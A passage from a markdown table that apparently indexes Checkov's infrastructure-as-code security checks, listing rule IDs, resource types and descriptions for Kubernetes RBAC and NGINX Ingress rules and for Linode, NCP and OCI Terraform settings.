[KubeletCryptographicCiphers.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/KubeletCryptographicCiphers.py)                                                                        |\n| 7710 | CKV_K8S_152              | resource                         | Ingress                                                                                          | Prevent NGINX Ingress annotation snippets which contain LUA code execution. See CVE-2021-25742                                                                                                           | Kubernetes              | [NginxIngressCVE202125742Lua.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Lua.py)                                                                        |\n| 7711 | CKV_K8S_153              | resource                         | Ingress                                                                                          | Prevent All NGINX Ingress annotation snippets. See CVE-2021-25742                                                                                                                                        | Kubernetes              | [NginxIngressCVE202125742AllSnippets.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742AllSnippets.py)                                                        |\n| 7712 | CKV_K8S_154              | resource                         | Ingress                                                                                          | Prevent NGINX Ingress annotation snippets which contain alias statements See CVE-2021-25742                                                                                                              | Kubernetes              | [NginxIngressCVE202125742Alias.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/NginxIngressCVE202125742Alias.py)                                                                    |\n| 7713 | CKV_K8S_155              | resource                         | ClusterRole                                                                                      | Minimize ClusterRoles that grant control over validating or mutating admission webhook configurations                                                                                                    | Kubernetes              | [RbacControlWebhooks.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacControlWebhooks.py)                                                                                        |\n| 7714 | CKV_K8S_156              | resource                         | ClusterRole                                                                                      | Minimize ClusterRoles that grant permissions to approve CertificateSigningRequests                                                                                                                       | Kubernetes              | [RbacApproveCertificateSigningRequests.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacApproveCertificateSigningRequests.py)                                                    |\n| 7715 | CKV_K8S_157              | resource                         | ClusterRole                                                                                      | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings                                                                                                       | Kubernetes              | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py)                                                                                      |\n| 7716 | CKV_K8S_157              | resource                         | Role                                                                                             | Minimize Roles and ClusterRoles that grant permissions to bind RoleBindings or ClusterRoleBindings                                                                                                       | Kubernetes              | [RbacBindRoleBindings.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacBindRoleBindings.py)                                                                                      |\n| 7717 | CKV_K8S_158              | resource                         | ClusterRole                                                                                      | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles                                                                                                                 | Kubernetes              | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py)                                                                                            |\n| 7718 | CKV_K8S_158              | resource                         | Role                                                                                             | Minimize Roles and ClusterRoles that grant permissions to escalate Roles or ClusterRoles                                                                                                                 | Kubernetes              | [RbacEscalateRoles.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/RbacEscalateRoles.py)                                                                                            |\n| 7719 | CKV_K8S_159              | resource                         | CronJob                                                                                          | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7720 | CKV_K8S_159              | resource                         | DaemonSet                                                                                        | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7721 | CKV_K8S_159              | resource                         | Deployment                                                                                       | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7722 | CKV_K8S_159              | resource                         | DeploymentConfig                                                                                 | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7723 | CKV_K8S_159              | resource                         | Job                                                                                              | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7724 | CKV_K8S_159              | resource                         | Pod                                                                                              | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7725 | CKV_K8S_159              | resource                         | PodTemplate                                                                                      | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7726 | CKV_K8S_159              | resource                         | ReplicaSet                                                                                       | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7727 | CKV_K8S_159              | resource                         | ReplicationController                                                                            | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7728 | CKV_K8S_159              | resource                         | StatefulSet                                                                                      | Limit the use of git-sync to prevent code injection                                                                                                                                                      | Kubernetes              | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/resource/k8s/DangerousGitSync.py)                                                                                              |\n| 7729 | CKV_K8S_159              | resource                         | kubernetes_deployment                                                                            | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 7730 | CKV_K8S_159              | resource                         | kubernetes_deployment_v1                                                                         | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 7731 | CKV_K8S_159              | resource                         | kubernetes_pod                                                                                   | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 7732 | CKV_K8S_159              | resource                         | kubernetes_pod_v1                                                                                | Do not admit privileged containers                                                                                                                                                                       | Terraform               | [DangerousGitSync.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/kubernetes/DangerousGitSync.py)                                                                                        |\n| 7733 | CKV2_K8S_1               | resource                         | ClusterRole                                                                                      | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                                       | Kubernetes              | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                                                |\n| 7734 | CKV2_K8S_1               | resource                         | ClusterRoleBinding                                                                               | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                                       | Kubernetes              | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                                                |\n| 7735 | CKV2_K8S_1               | resource                         | Role                                                                                             | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                                       | Kubernetes              | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                                                |\n| 7736 | CKV2_K8S_1               | resource                         | RoleBinding                                                                                      | RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding                                                                                                       | Kubernetes              | [RoleBindingPE.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml)                                                                                                |\n| 7737 | CKV2_K8S_2               | resource                         | ClusterRole                                                                                      | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                                        | Kubernetes              | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                                                  |\n| 7738 | CKV2_K8S_2               | resource                         | ClusterRoleBinding                                                                               | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                                        | Kubernetes              | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                                                  |\n| 7739 | CKV2_K8S_2               | resource                         | Role                                                                                             | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                                        | Kubernetes              | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                                                  |\n| 7740 | CKV2_K8S_2               | resource                         | RoleBinding                                                                                      | Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation                                                                                        | Kubernetes              | [NoCreateNodesProxyOrPodsExec.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml)                                                                  |\n| 7741 | CKV2_K8S_3               | resource                         | ClusterRole                                                                                      | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                           | Kubernetes              | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                                              |\n| 7742 | CKV2_K8S_3               | resource                         | ClusterRoleBinding                                                                               | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                           | Kubernetes              | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                                              |\n| 7743 | CKV2_K8S_3               | resource                         | Role                                                                                             | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                           | Kubernetes              | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                                              |\n| 7744 | CKV2_K8S_3               | resource                         | RoleBinding                                                                                      | No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts                                                                                                           | Kubernetes              | [ImpersonatePermissions.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml)                                                                              |\n| 7745 | CKV2_K8S_4               | resource                         | ClusterRole                                                                                      | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster.           | Kubernetes              | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                                                  |\n| 7746 | CKV2_K8S_4               | resource                         | ClusterRoleBinding                                                                               | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster.           | Kubernetes              | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                                                  |\n| 7747 | CKV2_K8S_4               | resource                         | Role                                                                                             | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster.           | Kubernetes              | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                                                  |\n| 7748 | CKV2_K8S_4               | resource                         | RoleBinding                                                                                      | ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster.           | Kubernetes              | [ModifyServicesStatus.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml)                                                                                  |\n| 7749 | CKV2_K8S_5               | resource                         | ClusterRole                                                                                      | No ServiceAccount/Node should be able to read all secrets                                                                                                                                                | Kubernetes              | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                                              |\n| 7750 | CKV2_K8S_5               | resource                         | ClusterRoleBinding                                                                               | No ServiceAccount/Node should be able to read all secrets                                                                                                                                                | Kubernetes              | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                                              |\n| 7751 | CKV2_K8S_5               | resource                         | Role                                                                                             | No ServiceAccount/Node should be able to read all secrets                                                                                                                                                | Kubernetes              | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                                              |\n| 7752 | CKV2_K8S_5               | resource                         | RoleBinding                                                                                      | No ServiceAccount/Node should be able to read all secrets                                                                                                                                                | Kubernetes              | [ReadAllSecrets.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml)                                                                                              |\n| 7753 | CKV2_K8S_6               | resource                         | Deployment                                                                                       | Minimize the admission of pods which lack an associated NetworkPolicy                                                                                                                                    | Kubernetes              | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml)                                                        |\n| 7754 | CKV2_K8S_6               | resource                         | Pod                                                                                              | Minimize the admission of pods which lack an associated NetworkPolicy                                                                                                                                    | Kubernetes              | [RequireAllPodsToHaveNetworkPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml)                                                        |\n| 7755 | CKV_LIN_1                | provider                         | linode                                                                                           | Ensure no hard coded Linode tokens exist in provider                                                                                                                                                     | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/linode/credentials.py)                                                                                                      |\n| 7756 | CKV_LIN_2                | resource                         | linode_instance                                                                                  | Ensure SSH key set in authorized_keys                                                                                                                                                                    | Terraform               | [authorized_keys.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/authorized_keys.py)                                                                                              |\n| 7757 | CKV_LIN_3                | resource                         | linode_user                                                                                      | Ensure email is set                                                                                                                                                                                      | Terraform               | [user_email_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_email_set.py)                                                                                                |\n| 7758 | CKV_LIN_4                | resource                         | linode_user                                                                                      | Ensure username is set                                                                                                                                                                                   | Terraform               | [user_username_set.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/user_username_set.py)                                                                                          |\n| 7759 | CKV_LIN_5                | resource                         | linode_firewall                                                                                  | Ensure Inbound Firewall Policy is not set to ACCEPT                                                                                                                                                      | Terraform               | [firewall_inbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_inbound_policy.py)                                                                              |\n| 7760 | CKV_LIN_6                | resource                         | linode_firewall                                                                                  | Ensure Outbound Firewall Policy is not set to ACCEPT                                                                                                                                                     | Terraform               | [firewall_outbound_policy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/linode/firewall_outbound_policy.py)                                                                            |\n| 7761 | CKV_NCP_1                | resource                         | ncloud_lb_target_group                                                                           | Ensure HTTP HTTPS Target group defines Healthcheck                                                                                                                                                       | Terraform               | [LBTargetGroupDefinesHealthCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupDefinesHealthCheck.py)                                                                 |\n| 7762 | CKV_NCP_2                | resource                         | ncloud_access_control_group                                                                      | Ensure every access control groups rule has a description                                                                                                                                                | Terraform               | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py)                                                             |\n| 7763 | CKV_NCP_2                | resource                         | ncloud_access_control_group_rule                                                                 | Ensure every access control groups rule has a description                                                                                                                                                | Terraform               | [AccessControlGroupRuleDescription.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupRuleDescription.py)                                                             |\n| 7764 | CKV_NCP_3                | resource                         | ncloud_access_control_group_rule                                                                 | Ensure no security group rules allow outbound traffic to 0.0.0.0/0                                                                                                                                       | Terraform               | [AccessControlGroupOutboundRule.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupOutboundRule.py)                                                                   |\n| 7765 | CKV_NCP_4                | resource                         | ncloud_access_control_group_rule                                                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 22                                                                                                                                  | Terraform               | [AccessControlGroupInboundRulePort22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort22.py)                                                         |\n| 7766 | CKV_NCP_5                | resource                         | ncloud_access_control_group_rule                                                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 3389                                                                                                                                | Terraform               | [AccessControlGroupInboundRulePort3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort3389.py)                                                     |\n| 7767 | CKV_NCP_6                | resource                         | ncloud_server                                                                                    | Ensure Server instance is encrypted.                                                                                                                                                                     | Terraform               | [ServerEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerEncryptionVPC.py)                                                                                         |\n| 7768 | CKV_NCP_7                | resource                         | ncloud_launch_configuration                                                                      | Ensure Basic Block storage is encrypted.                                                                                                                                                                 | Terraform               | [LaunchConfigurationEncryptionVPC.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LaunchConfigurationEncryptionVPC.py)                                                               |\n| 7769 | CKV_NCP_8                | resource                         | ncloud_network_acl_rule                                                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 20                                                                                                                                                   | Terraform               | [NACLInbound20.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound20.py)                                                                                                     |\n| 7770 | CKV_NCP_9                | resource                         | ncloud_network_acl_rule                                                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 21                                                                                                                                                   | Terraform               | [NACLInbound21.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound21.py)                                                                                                     |\n| 7771 | CKV_NCP_10               | resource                         | ncloud_network_acl_rule                                                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 22                                                                                                                                                   | Terraform               | [NACLInbound22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound22.py)                                                                                                     |\n| 7772 | CKV_NCP_11               | resource                         | ncloud_network_acl_rule                                                                          | Ensure no NACL allow inbound from 0.0.0.0:0 to port 3389                                                                                                                                                 | Terraform               | [NACLInbound3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLInbound3389.py)                                                                                                 |\n| 7773 | CKV_NCP_12               | resource                         | ncloud_network_acl_rule                                                                          | An inbound Network ACL rule should not allow ALL ports.                                                                                                                                                  | Terraform               | [NACLPortCheck.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NACLPortCheck.py)                                                                                                     |\n| 7774 | CKV_NCP_13               | resource                         | ncloud_lb_listener                                                                               | Ensure LB Listener uses only secure protocols                                                                                                                                                            | Terraform               | [LBListenerUsesSecureProtocols.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsesSecureProtocols.py)                                                                     |\n| 7775 | CKV_NCP_14               | resource                         | ncloud_nas_volume                                                                                | Ensure NAS is securely encrypted                                                                                                                                                                         | Terraform               | [NASEncryptionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NASEncryptionEnabled.py)                                                                                       |\n| 7776 | CKV_NCP_15               | resource                         | ncloud_lb_target_group                                                                           | Ensure Load Balancer Target Group is not using HTTP                                                                                                                                                      | Terraform               | [LBTargetGroupUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBTargetGroupUsingHTTPS.py)                                                                                 |\n| 7777 | CKV_NCP_16               | resource                         | ncloud_lb                                                                                        | Ensure Load Balancer isn't exposed to the internet                                                                                                                                                       | Terraform               | [LBNetworkPrivate.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBNetworkPrivate.py)                                                                                               |\n| 7778 | CKV_NCP_18               | resource                         | ncloud_auto_scaling_group                                                                        | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks.                                                                                        | Terraform               | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml)                                                                               |\n| 7779 | CKV_NCP_18               | resource                         | ncloud_lb_target_group                                                                           | Ensure that auto Scaling groups that are associated with a load balancer, are using Load Balancing health checks.                                                                                        | Terraform               | [AutoScalingEnabledLB.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AutoScalingEnabledLB.yaml)                                                                               |\n| 7780 | CKV_NCP_19               | resource                         | ncloud_nks_cluster                                                                               | Ensure Naver Kubernetes Service public endpoint disabled                                                                                                                                                 | Terraform               | [NKSPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSPublicAccess.py)                                                                                                 |\n| 7781 | CKV_NCP_20               | resource                         | ncloud_route                                                                                     | Ensure Routing Table associated with Web tier subnet have the default route (0.0.0.0/0) defined to allow connectivity                                                                                    | Terraform               | [RouteTableNATGatewayDefault.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/RouteTableNATGatewayDefault.py)                                                                         |\n| 7782 | CKV_NCP_22               | resource                         | ncloud_nks_cluster                                                                               | Ensure NKS control plane logging enabled for all log types                                                                                                                                               | Terraform               | [NKSControlPlaneLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/NKSControlPlaneLogging.py)                                                                                   |\n| 7783 | CKV_NCP_22               | resource                         | ncloud_route_table                                                                               | Ensure a route table for the public subnets is created.                                                                                                                                                  | Terraform               | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml)                                                       |\n| 7784 | CKV_NCP_22               | resource                         | ncloud_subnet                                                                                    | Ensure a route table for the public subnets is created.                                                                                                                                                  | Terraform               | [RouteTablePublicSubnetConnection.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/RouteTablePublicSubnetConnection.yaml)                                                       |\n| 7785 | CKV_NCP_23               | resource                         | ncloud_public_ip                                                                                 | Ensure Server instance should not have public IP.                                                                                                                                                        | Terraform               | [ServerPublicIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/ServerPublicIP.py)                                                                                                   |\n| 7786 | CKV_NCP_24               | resource                         | ncloud_lb_listener                                                                               | Ensure Load Balancer Listener Using HTTPS                                                                                                                                                                | Terraform               | [LBListenerUsingHTTPS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/LBListenerUsingHTTPS.py)                                                                                       |\n| 7787 | CKV_NCP_25               | resource                         | ncloud_access_control_group_rule                                                                 | Ensure no access control groups allow inbound from 0.0.0.0:0 to port 80                                                                                                                                  | Terraform               | [AccessControlGroupInboundRulePort80.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/ncp/AccessControlGroupInboundRulePort80.py)                                                         |\n| 7788 | CKV_NCP_26               | resource                         | ncloud_access_control_group                                                                      | Ensure Access Control Group has Access Control Group Rule attached                                                                                                                                       | Terraform               | [AccessControlGroupRuleDefine.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/ncp/AccessControlGroupRuleDefine.yaml)                                                               |\n| 7789 | CKV_OCI_1                | provider                         | oci                                                                                              | Ensure no hard coded OCI private key in provider                                                                                                                                                         | Terraform               | [credentials.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/provider/oci/credentials.py)                                                                                                         |\n| 7790 | CKV_OCI_2                | resource                         | oci_core_volume                                                                                  | Ensure OCI Block Storage Block Volume has backup enabled                                                                                                                                                 | Terraform               | [StorageBlockBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockBackupEnabled.py)                                                                             |\n| 7791 | CKV_OCI_3                | resource                         | oci_core_volume                                                                                  | OCI Block Storage Block Volumes are not encrypted with a Customer Managed Key (CMK)                                                                                                                      | Terraform               | [StorageBlockEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/StorageBlockEncryption.py)                                                                                   |\n| 7792 | CKV_OCI_4                | resource                         | oci_core_instance                                                                                | Ensure OCI Compute Instance boot volume has in-transit data encryption enabled                                                                                                                           | Terraform               | [InstanceBootVolumeIntransitEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceBootVolumeIntransitEncryption.py)                                                     |\n| 7793 | CKV_OCI_5                | resource                         | oci_core_instance                                                                                | Ensure OCI Compute Instance has Legacy MetaData service endpoint disabled                                                                                                                                | Terraform               | [InstanceMetadataServiceEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMetadataServiceEnabled.py)                                                                   |\n| 7794 | CKV_OCI_6                | resource                         | oci_core_instance                                                                                | Ensure OCI Compute Instance has monitoring enabled                                                                                                                                                       | Terraform               | [InstanceMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/InstanceMonitoringEnabled.py)                                                                             |\n| 7795 | CKV_OCI_7                | resource                         | oci_objectstorage_bucket                                                                         | Ensure OCI Object Storage bucket can emit object events                                                                                                                                                  | Terraform               | [ObjectStorageEmitEvents.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEmitEvents.py)                                                                                 |\n| 7796 | CKV_OCI_8                | resource                         | oci_objectstorage_bucket                                                                         | Ensure OCI Object Storage has versioning enabled                                                                                                                                                         | Terraform               | [ObjectStorageVersioning.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageVersioning.py)                                                                                 |\n| 7797 | CKV_OCI_9                | resource                         | oci_objectstorage_bucket                                                                         | Ensure OCI Object Storage is encrypted with Customer Managed Key                                                                                                                                         | Terraform               | [ObjectStorageEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStorageEncryption.py)                                                                                 |\n| 7798 | CKV_OCI_10               | resource                         | oci_objectstorage_bucket                                                                         | Ensure OCI Object Storage is not Public                                                                                                                                                                  | Terraform               | [ObjectStoragePublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/ObjectStoragePublic.py)                                                                                         |\n| 7799 | CKV_OCI_11               | resource                         | oci_identity_authentication_policy                                                               | OCI IAM password policy - must contain lower case                                                                                                                                                        | Terraform               | [IAMPasswordPolicyLowerCase.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyLowerCase.py)                                                                           |\n| 7800 | CKV_OCI_12               | resource                         | oci_identity_authentication_policy                                                               | OCI IAM password policy - must contain Numeric characters                                                                                                                                                | Terraform               | [IAMPasswordPolicyNumeric.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicyNumeric.py)                                                                               |\n| 7801 | CKV_OCI_13               | resource                         | oci_identity_authentication_policy                                                               | OCI IAM password policy - must contain Special characters                                                                                                                                                | Terraform               | [IAMPasswordPolicySpecialCharacters.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/oci/IAMPasswordPolicySpecialCharacters.py)                                                           |\n| 7802 | CKV_OCI_14               | resource                         | oci_identity_authentication_policy                                                               | OCI IAM password policy - must contain Uppercase characters                                                                                                                                              | Terraform               | 